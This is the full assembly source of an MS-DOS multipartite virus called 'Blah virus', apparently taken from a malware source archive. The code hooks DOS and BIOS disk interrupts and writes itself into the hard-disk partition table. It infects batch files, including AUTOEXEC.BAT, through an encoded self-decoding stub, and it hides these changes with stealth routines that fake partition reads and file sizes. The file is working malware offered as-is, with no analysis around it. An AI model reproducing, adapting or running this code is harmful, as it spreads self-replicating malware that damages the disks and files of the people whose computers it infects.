MalwareSourceCode/MSDOS/B-Index/Virus.MSDOS.Unknown.blah.asm

682 lines
16 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
.model tiny
.code
.radix 16
org 0
our_buffer label byte
org 80
line label byte
org 100
viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f
resK = (end_all - our_buffer + 3ff) / 400
resP = resK * 40
sector_length = (heap - blah + 1ff) / 200
blah: xor bp,bp
xor si,si
cmp [si],20CDh ; check if there is a PSP
jz in_com ; to see if we are in COM or
; boot (don't just check SP
; since COM might not load in
; a full segment if memory is
; sparse)
inc bp
; hey! we're in the boot sector or the partition table
; assume in partition table for the time being
push si
cli
pop ss
mov sp,-2 ; doesn't really matter
sti
mov ax,200 + sector_length
mov es,si
mov bx,7c00 + 200
mov cx,2
mov dx,80
int 13
mov dx,0f800
db 0ea
dw offset install, 7b0
in_com: mov dx,0f904
mov ah,62 ; get the PSP
int 21 ; also tells existing copies
; to disable themselves
; (for NetWare compatability)
dec bx ; go to MCB so we can
mov ds,bx ; twiddle with it
sub word ptr [si+3],resP ; reserve two K of memory
sub word ptr [si+12],resP ; in DOS for the virus
install: mov cs:init_flag,dl
mov byte ptr cs:i13_patch,dh
mov ds,si ; reserve two K of memory
mov dx,word ptr ds:413
sub dx,resK
mov word ptr ds:413,dx ; from the BIOS count
mov cl,6
shl dx,cl ; K -> paragraph
les ax,ds:84
mov cs:old_i21,ax
mov cs:old_i21+2,es
les ax,ds:4c
mov cs:old_i13,ax
mov cs:old_i13+2,es
mov es,dx
push cs
pop ds
mov si,offset blah
mov di,si
mov cx,(offset end_zopy - blah + 1) / 2
rep movsw
mov es,cx
mov es:4c,offset i13
mov es:4e,dx
or bp,bp
jz exit_com
exit_boot: mov ax,201 ; read the original partition
xor cx,cx ; table to 0:7C00
mov dx,80 ; since the i13 handler is in
mov es,cx ; place, we can load from where
inc cx ; the partition table should
mov bx,7c00 ; be, instead of where it
pushf
push es bx ; actually is
jmp dword ptr [bp+4bh] ; int 13 / iret
exit_com: mov es:84,offset i21
mov es:86,dx
infect_hd: push ax cx dx bx ds es
push cs cs
pop es ds
mov ax,201
mov bx,100 + (sector_length*200)
mov cx,1
mov dx,80
call call_i13 ; get original partition table
adj_ofs = (100 + (sector_length*200))
cmp word ptr cs:[adj_ofs+decoder-blah],'e@'
jz already_infected
mov al,ds:[adj_ofs+1C0]
cbw
or ax,ds:[adj_ofs+1C2]
jnz enough_room
cmp byte ptr ds:[adj_ofs+1C1],sector_length+1
jbe already_infected ; not enough room for virus
enough_room: mov ax,301 + sector_length ; write to disk
mov bx,100 ; cx = 1, dx = 80 already
call call_i13
already_infected:
pop es ds bx dx cx ax
ret
db 'Blah virus',0
db '(DA/PS)',0
; I indulged myself in writing the decoder; it's rather much larger than it
; needs to be. This was so I could insert random text strings into the code.
; The decoder creates a file which, when run, will execute the encoded file.
; In this case, we are encoding the virus. See the beginning for a complete
; explanation of how the virus works.
decoder db '@echo <20>PSBAT!<21><>PS<50>'
fsize dw -1 * (heap - blah)
db 'XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><> <0B>t<05><><EFBFBD>>',0ba,'.com',0Dh,0A
db '@echo <20><><EFBFBD>2<EFBFBD>YP<59><50>󤫸<EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>'
endline: db '>>',0ba,'.com',0Dh,0A
; The next line is to ease the coding. This way, the same number of statements
; pass between the running of the temporary program and the reloading of the
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
; the temporary file installs the virus into memory. Note the following lines
; are never seen by the command interpreter if the virus is already resident.
enddecoder: db '@if %0. == . ',0ba,0Dh,0A
db '@',0ba,0Dh,0A
db '@del ',0ba,'.com',0Dh,0A
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
; which would be a shame.
db '@if %0. == . autoexec',0Dh,0A
db '@%0',0Dh,0A
endcleanup:
chain_i13: push [bp+6]
call dword ptr cs:old_i13
pushf
pop [bp+6]
ret
call_i13: pushf
call dword ptr cs:old_i13
ret
write: mov ah,40
calli21: pushf
call dword ptr cs:old_i21
ret
check_signature:and word ptr es:[di+15],0
push es di cs cs
pop ds es
mov ah,3f
cwd ; mov dx,offset our_buffer
mov cx,enddecoder - decoder
call calli21
cld
mov si,offset decoder
mov di,dx
mov cx,enddecoder - decoder
rep cmpsb
pop di es
ret
i13: clc ; this is patched to
jnc i13_patch ; disable the i13 handler
jmp disabled_i13 ; this is a stupid hiccup
i13_patch: clc ; this is patched to once
jc multipartite_installed ; i21 is installed
push ax bx ds es
mov ax,0AA55 ; offset 02FE of the virus
; this is the PT signature
xor ax,ax
mov es,ax
lds bx,es:84
mov ax,ds
cmp ax,cs:old_i21+2
jz not_DOS_yet
or ax,ax ; Gets set to address in zero
jz not_DOS_yet ; segment temporarily. ignore.
cmp ax,800
ja not_DOS_yet
cmp ax,es:28*4+2 ; make sure int 28 handler
jnz not_DOS_yet ; the same (OS == DOS?)
cmp bx,cs:old_i21
jz not_DOS_yet
install_i21: push cs
pop ds
mov ds:old_i21,bx
mov ds:old_i21+2,ax
mov es:84,offset i21
mov es:86,cs
inc byte ptr ds:i13_patch
not_DOS_yet: pop es ds bx ax
multipartite_installed:
push bp
mov bp,sp
cmp cx,sector_length + 1 ; working on virus area?
ja jmp_i13
cmp dx,80
jnz jmp_i13
cmp ah,2 ; reading partition table?
jz stealth_i13
not_read: cmp ah,3 ; write over partition table?
jnz jmp_i13
call infect_hd
push si cx bx ax
mov al,1
cmp cl,al ; are we working on partition
jnz not_write_pt ; table at all?
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
not_write_pt: pop ax
push ax
cbw
sub al,sector_length + 2 ; calculate number of remaining
add al,cl ; sectors to write
js alt_exit_i13
jz alt_exit_i13
push cx
sub cx,sector_length + 2 ; calculate number of sectors
neg cx ; skipped
addd: add bh,2 ; and adjust buffer pointer
loop addd ; accordingly
pop cx
or ah,1 ; ah = 1 so rest_stealth makes
jmp short rest_stealth ; it a write
jmp_i13: pop bp
disabled_i13: jmp dword ptr cs:old_i13
stealth_i13: push si cx bx ax
call infect_hd
mov si,bx
mov al,1
cmp cl,al
jnz not_read_pt
mov cx,sector_length + 1
call chain_i13
jc alt_exit_i13
add bh,2 ; adjust buffer ptr
not_read_pt: pop ax
push ax
push di ax
mov di,bx
mov ah,0
add al,cl
cmp al,sector_length + 2
jb not_reading_more
mov al,sector_length + 2
not_reading_more:cmp cl,1
jnz not_pt
dec ax
not_pt: sub al,cl
jz dont_do_it ; resist temptation!
mov cl,8
shl ax,cl ; zero out sectors
mov cx,ax
cbw ; clear ax
rep stosw
mov bx,di ; adjust buffer
dont_do_it: pop ax di
mov ah,0
mov cl,9
sub si,bx
neg si
shr si,cl
sub ax,si
jz alt_exit_i13
rest_stealth: sub ax,-200
mov cx,sector_length + 2
call chain_i13
alt_exit_i13: pop bx
mov al,bl
pop bx cx si bp
iret
i24: mov al,3
iret
chain_i21: push [bp+6] ; push flags on stack again
call dword ptr cs:old_i21
pushf ; put flags back onto caller's
pop [bp+6] ; interrupt stack area
ret
infect_bat: mov cx,200 ; conquer the holy batch file!
move_up: sub bp,cx
jns $+6
add cx,bp
xor bp,bp
mov es:[di+15],bp ; move file pointer
mov ah,3f ; read in portion of the file
mov dx,offset big_buffer
call calli21
add word ptr es:[di+15],viruslength
sub word ptr es:[di+15],ax
call write ; move the data up
or bp,bp
jnz move_up
move_up_done: mov word ptr es:[di+15],bp ; go to start of file
mov cx,enddecoder - decoder
mov dx,offset decoder
call write
push es di cs
pop es
mov bp,heap - blah
mov si,offset blah
encode_lines: mov di,offset line
mov cx,20
encode_line: lodsb
push ax
and ax,0F0
inc ax
stosb
pop ax
and ax,0F
add al,'A'
stosb
dec bp
jz finished_line
loop encode_line
finished_line: mov cx,6
mov dx,offset decoder
call write
mov cx,di
mov dx,offset line
sub cx,dx
call write
mov cx,enddecoder-endline
mov dx,offset endline
call write
or bp,bp
jnz encode_lines
pop di es
mov cx,endcleanup - enddecoder
mov dx,offset enddecoder
call write
ret
; check neither extension nor timestamp in case file was renamed or
; something like that
; will hang without this stealth because of the line
; @%0 that it adds to batch files
handle_read: push es di si ax cx dx ds bx
xor si,si
cmp cs:init_flag,0
jnz dont_alter_read
mov ax,1220
int 2f
jc dont_alter_read
xor bx,bx
mov bl,es:di
mov ax,1216
int 2f ; es:di now -> sft
jc dont_alter_read
pop bx ; restore the file handle
push bx
push es:[di+15] ; save current offset
call check_signature
mov si,viruslength
pop bx
jz hide_read
xor si,si
hide_read: add bx,si
mov es:[di+15],bx
dont_alter_read:pop bx ds dx cx ax
call chain_i21
sub es:[di+15],si
pop si di es
_iret: pop bp
iret
handle_open: cmp cs:init_flag,0
jz keep_going
dec cs:init_flag
keep_going: call chain_i21
jc _iret
push ax cx dx bp si di ds es
xchg si,ax ; filehandle to si
mov ax,3524
int 21
push es bx ; save old int 24 handler
xchg bx,si ; filehandle back to bx
push bx
mov si,dx ; ds:si->filename
push ds
mov ax,2524 ; set new int 24 handler
push cs
pop ds
mov dx,offset i24
call calli21
pop ds
cld
find_extension: lodsb ; scan filename for extension
or al,al ; no extension?
jz dont_alter_open
cmp al,'.' ; extension?
jnz find_extension
lodsw ; check if it's .bat
or ax,2020
cmp ax,'ab'
jnz dont_alter_open
lodsb
or al,20
cmp al,'t'
jnz dont_alter_open
mov ax,1220 ; if so, get jft entry
int 2f
jc dont_alter_open
xor bx,bx
mov bl,es:di
mov ax,1216 ; now get SFT
int 2f
jc dont_alter_open
pop bx ; recover file handle
push bx
mov bp,word ptr es:[di+11] ; save file size
or bp,bp
jz dont_alter_open
mov byte ptr es:[di+2],2 ; change open mode to r/w
mov ax,word ptr es:[di+0dh] ; get file time
and ax,not 1f ; set the seconds field
or ax,1f
mov word ptr es:[di+0dh],ax
call check_signature
jz dont_alter1open ; infected already!
call infect_bat
dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time
and word ptr es:[di+15],0
mov byte ptr es:[di+2],0 ; restore file open mode
dont_alter_open:pop bx dx ds
mov ax,2524
call calli21
pop es ds di si bp dx cx ax bp
iret
findfirstnext: call chain_i21 ; standard file length
push ax bx si ds es ; hiding
cmp al,-1
jz dont_alter_fffn
mov ah,2f ; get the DTA to es:bx
int 21
push es
pop ds
cmp byte ptr [bx],-1
jnz not_extended
add bx,7
; won't hide if extension is changed, but otherwise gives it away by disk
; accesses
not_extended: cmp word ptr [bx+9],'AB'
jnz dont_alter_fffn
cmp byte ptr [bx+0bh],'T'
jnz dont_alter_fffn
cmp word ptr [bx+1dh],viruslength
jb dont_alter_fffn
mov al,[bx+17]
and al,1f
cmp al,1f
jnz dont_alter_fffn
and byte ptr [bx+17],not 1f
sub word ptr [bx+1dh],viruslength
dont_alter_fffn:pop es ds si bx ax bp
iret
inst_check: cmp bx,0f904
jnz jmp_i21
push si di cx
mov si,offset blah
mov di,100
mov cx,offset i13 - offset blah
db 2e
rep cmpsb
jnz not_inst
inc byte ptr cs:i13 ; disable existing copy of
inc byte ptr cs:i21 ; the virus
not_inst: pop si di cx
jmp short jmp_i21
i21: clc
jc disabled_i21
push bp
mov bp,sp
cmp ah,11
jz findfirstnext
cmp ah,12
jz findfirstnext
cmp ah,62
jz inst_check
cmp ax,3d00
jnz not_open
jmp handle_open
not_open: cmp ah,3f
jnz jmp_i21
jmp handle_read
jmp_i21: pop bp
disabled_i21: db 0ea ; call original int 21
heap: ; g
old_i21 dw ?, ? ; handler
old_i13 dw ?, ?
init_flag db ?
end_zopy:
org 100 + ((end_zopy - blah + 1ff) / 200) * 200
orig_PT db 200 dup (?)
big_buffer db 200 dup (?)
end_all:
end blah
; The complimentary decoder included with every copy of blah
.model tiny
.code
.radix 16
org 100
decode: db '<27>PSBAT!<21>' ; translates to some random code
mov di,offset buffer
db 0bdh ; mov bp, datasize
datasize dw 'Y0'
db 'XYZ' ; more text that is also code
neg bp
push bp
mov si,offset databytes
keep_going: mov cx,2020
xor ch,cl
decode_line: lodsb
dec ax ; tens digit
mov bx,ax
lodsb
sub al,'A'
add ax,bx
stosb
dec bp
jz all_done
loop decode_line
all_done: or bp,bp
jz no_more
lodsw ; skip CRLF
jmp keep_going
db 0Dh,0A ; split file into two lines
no_more: mov ax,0fcfc
xor ah,al
pop cx ; how many bytes to move
push ax
xchg ax,di
mov ax,0a4f3
stosw
mov ax,0ebebh ; flush prefetch queue
xor ah,al
stosw
mov si,offset buffer
mov di,100 + 4144
sub di,'AD'
retn
db 0Dh,0Ah ; split the file s'more
databytes:
org 5350 ; 50/53 == P/S
buffer:
end decode